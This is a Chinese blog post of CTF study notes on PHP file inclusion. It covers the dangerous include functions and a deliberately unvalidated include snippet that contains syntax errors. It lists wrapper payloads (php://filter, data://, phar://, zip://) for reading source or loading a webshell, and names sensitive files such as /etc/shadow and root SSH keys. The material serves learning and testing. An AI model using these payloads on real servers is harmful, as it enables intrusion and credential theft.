




文件包含 (ctf)

原创

昂首下楼梯  于 2019-10-14 17:10:55 发布  1376  收藏 9

分类专栏: [短篇](#) 文章标签: [ctf 文件包含](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/qq_42812036/article/details/102531526

版权



[短篇 专栏收录该内容](#)

31 篇文章 0 订阅

订阅专栏

文件包含

[定义](#)

[危险函数](#)

[ctf中文件包含](#)

[PHP伪协议](#)

[php://input](#)

[php://filter](#)

[data://](#)

[phar://](#)

[zip://](#)

[常见的敏感文件](#)

[Windows 服务器敏感文件](#)

[linux 服务器敏感文件](#)

定义

- 在通过PHP函数引入文件时, 由于传入的文件名没有经过合理的校验, 从而操作了预想之外恩德文件, 导致意外的文件泄露甚至恶意代码的注入。
- 严格来说文件包含算是代码注入的一种

危险函数

- `include()`
- `include_once()`
- `require()`
- `require_once()`

ctf中文件包含

- 本地文件包含
 - 直接读取目标机上的Flag文件
 - 通过PHP伪协议读取代码中的flag
 - 写入PHP木马获取webshell, 查看flag
- 远程文件包含
 - 指定第三方服务器上运行的PHP木马, 拿到webshell, 查看Flag文件

下面时没有对传入文件进行检测的一段代码

```
<?php
$file=$_GET['file']
if (file_exists('/home/www'.$file.'.php')) {
include '/home/www/'.$file.'.php';
}
else {include '/home/www'. 'home.php';
} >?
```

PHP伪协议

- file:// 访问本地文件系统
- php:// 访问各个输入/输出流

php://input

php://input代表可以访问请求的原始数据, 简单来说POST请求的情况下, php://input可以 获取到post的数据。比较特殊的一点, enctype="multipart/form-data" 的时候 php://input 是无效的

php://filter

利用它可以读取服务器中的文件 由于读取文件的数据直接输出在了页面上, 如果读取的是php文件的话, PHP代码在浏览器中 解析会不正常, 那么我们可以用这个协议将php文件中的代码以base64的形式输出在页面上:

Payload:

/?file=php://filter/read=convert.base64-encode/resource=file.php

以其他格式显示:

string.tolower //写入内容全部变成小写

string.toupper //写入内容全部变成大写

string.rot13 //写入内容全部对字符串执行 ROT13 编码

data://

用法: 1. http://192.168.0.103/test/file.php?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==

2. http://192.168.0.103/test/file.php?filename=data:text/plain,<?php phpinfo();?>

phar://

这个参数是就是php解压缩包的一个函数，不管后缀是什么，都会当做压缩包来解压。前提条件是php版本大于5.3.0，而且压缩包必须是zip协议压缩的文件 P

ayload: http://192.168.1.239/rfi.php?filename=phar://shell.zip/shell.php

zip://

和上一个的原理差不多，只是格式不一样 Payload: http://192.168.1.239/rfi.php?filename=zip://shell.zip%23shell.php

常见的敏感文件

Windows 服务器敏感文件

c:\boot.ini 查看系统版本
c:\windows\system32\inetrv\MetaBase.xml IIS配置文件
c:\windows\repair\sam 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini MySQL配置 c:\ProgramFiles\mysql\data\mysqluser.MYD MySQL root密码
c:\windows\php.ini php配置信息
...

linux 服务器敏感文件

/etc/passwd 账户信息
/etc/shadow 账户密码文件 /usr/local/app/apache2/conf/httpd.conf Apache2默认配置文件 /usr/local/app/apache2/conf/extra/httpd-vhost.conf 虚拟网站配置 /usr/local/app/php5/lib/php.ini PHP相关配置 /etc/httpd/conf/httpd.conf Apache配置文件 /etc/my.cnf mysql 配置文件 /root/.ssh/authorized_keys ssh关键文件 /root/.ssh/id_rsa
/root/.ssh/id_rsa.keystore
/root/.ssh/id_rsa.pub
/root/.ssh/known_hosts /root/.bash_history shell命令历史
/root/.mysql_history mysql操作历史记录

access.log access_log记录了所有对Web服务器的访问活动